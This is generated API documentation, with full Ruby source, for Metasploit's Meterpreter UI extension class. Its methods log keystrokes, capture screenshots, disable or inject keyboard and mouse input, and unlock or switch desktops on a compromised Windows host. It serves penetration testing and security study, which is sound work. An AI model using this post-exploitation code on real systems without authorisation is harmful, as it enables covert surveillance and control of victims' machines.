Class: Rex::Post::Meterpreter::Extensions::Stdapi::UI
- Includes:
- ObjectAliasesContainer
- Defined in:
- lib/rex/post/meterpreter/extensions/stdapi/ui.rb
Overview
Allows for interacting with the user interface on the remote machine, such as by disabling the keyboard and mouse.
WARNING:
Using keyboard and mouse enabling/disabling features will result in a DLL file being written to disk.
Instance Attribute Summary collapse
-
#client ⇒ Object
protected
:nodoc:.
Attributes included from ObjectAliasesContainer
Instance Method Summary collapse
-
#disable_keyboard ⇒ Object
Disable keyboard input on the remote machine.
-
#disable_mouse ⇒ Object
Disable mouse input on the remote machine.
-
#enable_keyboard(enable = true) ⇒ Object
Enable keyboard input on the remote machine.
-
#enable_mouse(enable = true) ⇒ Object
Enable mouse input on the remote machine.
-
#enum_desktops ⇒ Object
Enumerate desktops.
-
#get_desktop ⇒ Object
Get the current desktop meterpreter is using.
-
#idle_time ⇒ Object
Returns the number of seconds the remote machine has been idle from user input.
-
#initialize(client) ⇒ UI
constructor
Initializes the post-exploitation user-interface manipulation subsystem.
-
#keyboard_send(keys) ⇒ Object
Send keystrokes.
-
#keyevent_send(key_code, action = 0) ⇒ Object
Send key events.
-
#keyscan_dump ⇒ Object
Dump the keystroke buffer.
-
#keyscan_start(trackwindow = false) ⇒ Object
Start the keyboard sniffer.
-
#keyscan_stop ⇒ Object
Stop the keyboard sniffer.
-
#mouse(mouseaction, x = -1,, y = -1)) ⇒ Object
Mouse input.
-
#screenshot(quality = 50) ⇒ Object
Grab a screenshot of the interactive desktop.
-
#set_desktop(session = -1,, station = 'WinSta0', name = 'Default', switch = false) ⇒ Object
Change the meterpreters current desktop.
-
#unlock_desktop(unlock = true) ⇒ Object
Unlock or lock the desktop.
Methods included from ObjectAliasesContainer
#dump_alias_tree, #initialize_aliases, #method_missing
Constructor Details
#initialize(client) ⇒ UI
Initializes the post-exploitation user-interface manipulation subsystem.
35 36 37 |
# File 'lib/rex/post/meterpreter/extensions/stdapi/ui.rb', line 35 def initialize(client) self.client = client end |
Dynamic Method Handling
This class handles dynamic methods through the method_missing method in the class Rex::Post::Meterpreter::ObjectAliasesContainer
Instance Attribute Details
#client ⇒ Object (protected)
:nodoc:
308 309 310 |
# File 'lib/rex/post/meterpreter/extensions/stdapi/ui.rb', line 308 def client @client end |
Instance Method Details
#disable_keyboard ⇒ Object
Disable keyboard input on the remote machine.
48 49 50 |
# File 'lib/rex/post/meterpreter/extensions/stdapi/ui.rb', line 48 def disable_keyboard return enable_keyboard(false) end |
#disable_mouse ⇒ Object
Disable mouse input on the remote machine.
68 69 70 |
# File 'lib/rex/post/meterpreter/extensions/stdapi/ui.rb', line 68 def disable_mouse return enable_mouse(false) end |
#enable_keyboard(enable = true) ⇒ Object
Enable keyboard input on the remote machine.
55 56 57 58 59 60 61 62 63 |
# File 'lib/rex/post/meterpreter/extensions/stdapi/ui.rb', line 55 def enable_keyboard(enable = true) request = Packet.create_request(COMMAND_ID_STDAPI_UI_ENABLE_KEYBOARD) request.add_tlv(TLV_TYPE_BOOL, enable) client.send_request(request) return true end |
#enable_mouse(enable = true) ⇒ Object
Enable mouse input on the remote machine.
75 76 77 78 79 80 81 82 83 |
# File 'lib/rex/post/meterpreter/extensions/stdapi/ui.rb', line 75 def enable_mouse(enable = true) request = Packet.create_request(COMMAND_ID_STDAPI_UI_ENABLE_MOUSE) request.add_tlv(TLV_TYPE_BOOL, enable) client.send_request(request) return true end |
#enum_desktops ⇒ Object
Enumerate desktops.
100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 |
# File 'lib/rex/post/meterpreter/extensions/stdapi/ui.rb', line 100 def enum_desktops request = Packet.create_request(COMMAND_ID_STDAPI_UI_DESKTOP_ENUM) response = client.send_request(request) desktopz = [] if( response.result == 0 ) response.each( TLV_TYPE_DESKTOP ) { | desktop | desktopz << { 'session' => desktop.get_tlv_value( TLV_TYPE_DESKTOP_SESSION ), 'station' => desktop.get_tlv_value( TLV_TYPE_DESKTOP_STATION ), 'name' => desktop.get_tlv_value( TLV_TYPE_DESKTOP_NAME ) } } end return desktopz end |
#get_desktop ⇒ Object
Get the current desktop meterpreter is using.
119 120 121 122 123 124 125 126 127 128 129 130 131 |
# File 'lib/rex/post/meterpreter/extensions/stdapi/ui.rb', line 119 def get_desktop request = Packet.create_request( COMMAND_ID_STDAPI_UI_DESKTOP_GET ) response = client.send_request( request ) desktop = {} if( response.result == 0 ) desktop = { 'session' => response.get_tlv_value( TLV_TYPE_DESKTOP_SESSION ), 'station' => response.get_tlv_value( TLV_TYPE_DESKTOP_STATION ), 'name' => response.get_tlv_value( TLV_TYPE_DESKTOP_NAME ) } end return desktop end |
#idle_time ⇒ Object
Returns the number of seconds the remote machine has been idle from user input.
89 90 91 92 93 94 95 |
# File 'lib/rex/post/meterpreter/extensions/stdapi/ui.rb', line 89 def idle_time request = Packet.create_request(COMMAND_ID_STDAPI_UI_GET_IDLE_TIME) response = client.send_request(request) return response.get_tlv_value(TLV_TYPE_IDLE_TIME); end |
#keyboard_send(keys) ⇒ Object
Send keystrokes
256 257 258 259 260 261 |
# File 'lib/rex/post/meterpreter/extensions/stdapi/ui.rb', line 256 def keyboard_send(keys) request = Packet.create_request(COMMAND_ID_STDAPI_UI_SEND_KEYS) request.add_tlv( TLV_TYPE_KEYS_SEND, keys ) client.send_request(request) return true end |
#keyevent_send(key_code, action = 0) ⇒ Object
Send key events
266 267 268 269 270 271 272 |
# File 'lib/rex/post/meterpreter/extensions/stdapi/ui.rb', line 266 def keyevent_send(key_code, action = 0) key_data = [ action, key_code ].pack("VV") request = Packet.create_request(COMMAND_ID_STDAPI_UI_SEND_KEYEVENT) request.add_tlv( TLV_TYPE_KEYEVENT_SEND, key_data ) client.send_request(request) return true end |
#keyscan_dump ⇒ Object
Dump the keystroke buffer
247 248 249 250 251 |
# File 'lib/rex/post/meterpreter/extensions/stdapi/ui.rb', line 247 def keyscan_dump request = Packet.create_request(COMMAND_ID_STDAPI_UI_GET_KEYS_UTF8) response = client.send_request(request) return response.get_tlv_value(TLV_TYPE_KEYS_DUMP); end |
#keyscan_start(trackwindow = false) ⇒ Object
Start the keyboard sniffer
228 229 230 231 232 233 |
# File 'lib/rex/post/meterpreter/extensions/stdapi/ui.rb', line 228 def keyscan_start(trackwindow=false) request = Packet.create_request(COMMAND_ID_STDAPI_UI_START_KEYSCAN) request.add_tlv( TLV_TYPE_KEYSCAN_TRACK_ACTIVE_WINDOW, trackwindow ) client.send_request(request) return true end |
#keyscan_stop ⇒ Object
Stop the keyboard sniffer
238 239 240 241 242 |
# File 'lib/rex/post/meterpreter/extensions/stdapi/ui.rb', line 238 def keyscan_stop request = Packet.create_request(COMMAND_ID_STDAPI_UI_STOP_KEYSCAN) client.send_request(request) return true end |
#mouse(mouseaction, x = -1,, y = -1)) ⇒ Object
Mouse input
277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 |
# File 'lib/rex/post/meterpreter/extensions/stdapi/ui.rb', line 277 def mouse(mouseaction, x=-1, y=-1) request = Packet.create_request(COMMAND_ID_STDAPI_UI_SEND_MOUSE) action = 0 case mouseaction when "move" action = 0 when "click", "tap", "leftclick" action = 1 when "down", "leftdown" action = 2 when "up", "leftup" action = 3 when "rightclick" action = 4 when "rightdown" action = 5 when "rightup" action = 6 when "doubleclick" action = 7 else action = mouseaction.to_i end request.add_tlv( TLV_TYPE_MOUSE_ACTION, action ) request.add_tlv( TLV_TYPE_MOUSE_X, x.to_i ) request.add_tlv( TLV_TYPE_MOUSE_Y, y.to_i ) client.send_request(request) return true end |
#screenshot(quality = 50) ⇒ Object
Grab a screenshot of the interactive desktop
154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 |
# File 'lib/rex/post/meterpreter/extensions/stdapi/ui.rb', line 154 def screenshot( quality=50 ) request = Packet.create_request( COMMAND_ID_STDAPI_UI_DESKTOP_SCREENSHOT ) request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY, quality ) if client.base_platform == 'windows' # Check if the target is running Windows 8/Windows Server 2012 or later and there are session 0 desktops visible. # Session 0 desktops should only be visible to services. Windows 8/Server 2012 and later introduce the restricted # desktop for services, which means that services cannot view the normal user's desktop or otherwise interact with # it in any way. Attempting to take a screenshot from a service on these systems can lead to non-desireable # behavior, such as explorer.exe crashing, which will force the compromised user to log back into their system # again. For these reasons, any attempt to perform screenshots under these circumstances will be met with an error message. opSys = client.sys.config.sysinfo['OS'] build = opSys.match(/Build (\d+)/) if build.nil? raise RuntimeError, 'Could not determine Windows build number to determine if taking a screenshot is safe.', caller else build_number = build[1].to_i if build_number >= 9200 # Windows 8/Windows Server 2012 and later current_desktops = enum_desktops current_desktops.each do |desktop| if desktop["session"].to_s == '0' raise RuntimeError, 'Current session was spawned by a service on Windows 8+. No desktops are available to screenshot.', caller end end end end # include the x64 screenshot dll if the host OS is x64 if( client.sys.config.sysinfo['Architecture'] =~ /^\S*x64\S*/ ) screenshot_path = MetasploitPayloads.meterpreter_path('screenshot','x64.dll') if screenshot_path.nil? raise RuntimeError, "screenshot.x64.dll not found", caller end encrypted_screenshot_dll = ::File.binread(screenshot_path) screenshot_dll = ::MetasploitPayloads::Crypto.decrypt(ciphertext: encrypted_screenshot_dll) request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_BUFFER, screenshot_dll, false, true ) end # but always include the x86 screenshot dll as we can use it for wow64 processes if we are on x64 screenshot_path = MetasploitPayloads.meterpreter_path('screenshot','x86.dll') if screenshot_path.nil? raise RuntimeError, "screenshot.x86.dll not found", caller end encrypted_screenshot_dll = ::File.binread(screenshot_path) screenshot_dll = ::MetasploitPayloads::Crypto.decrypt(ciphertext: encrypted_screenshot_dll) request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_BUFFER, screenshot_dll, false, true ) end # send the request and return the jpeg image if successful. response = client.send_request( request ) if( response.result == 0 ) return response.get_tlv_value( TLV_TYPE_DESKTOP_SCREENSHOT ) end return nil end |
#set_desktop(session = -1,, station = 'WinSta0', name = 'Default', switch = false) ⇒ Object
Change the meterpreters current desktop. The switch param sets this new desktop as the interactive one (The local users visible desktop with screen/keyboard/mouse control).
138 139 140 141 142 143 144 145 146 147 148 149 |
# File 'lib/rex/post/meterpreter/extensions/stdapi/ui.rb', line 138 def set_desktop( session=-1, station='WinSta0', name='Default', switch=false ) request = Packet.create_request( COMMAND_ID_STDAPI_UI_DESKTOP_SET ) request.add_tlv( TLV_TYPE_DESKTOP_SESSION, session ) request.add_tlv( TLV_TYPE_DESKTOP_STATION, station ) request.add_tlv( TLV_TYPE_DESKTOP_NAME, name ) request.add_tlv( TLV_TYPE_DESKTOP_SWITCH, switch ) response = client.send_request( request ) if( response.result == 0 ) return true end return false end |
#unlock_desktop(unlock = true) ⇒ Object
Unlock or lock the desktop
218 219 220 221 222 223 |
# File 'lib/rex/post/meterpreter/extensions/stdapi/ui.rb', line 218 def unlock_desktop(unlock=true) request = Packet.create_request(COMMAND_ID_STDAPI_UI_UNLOCK_DESKTOP) request.add_tlv(TLV_TYPE_BOOL, unlock) client.send_request(request) return true end |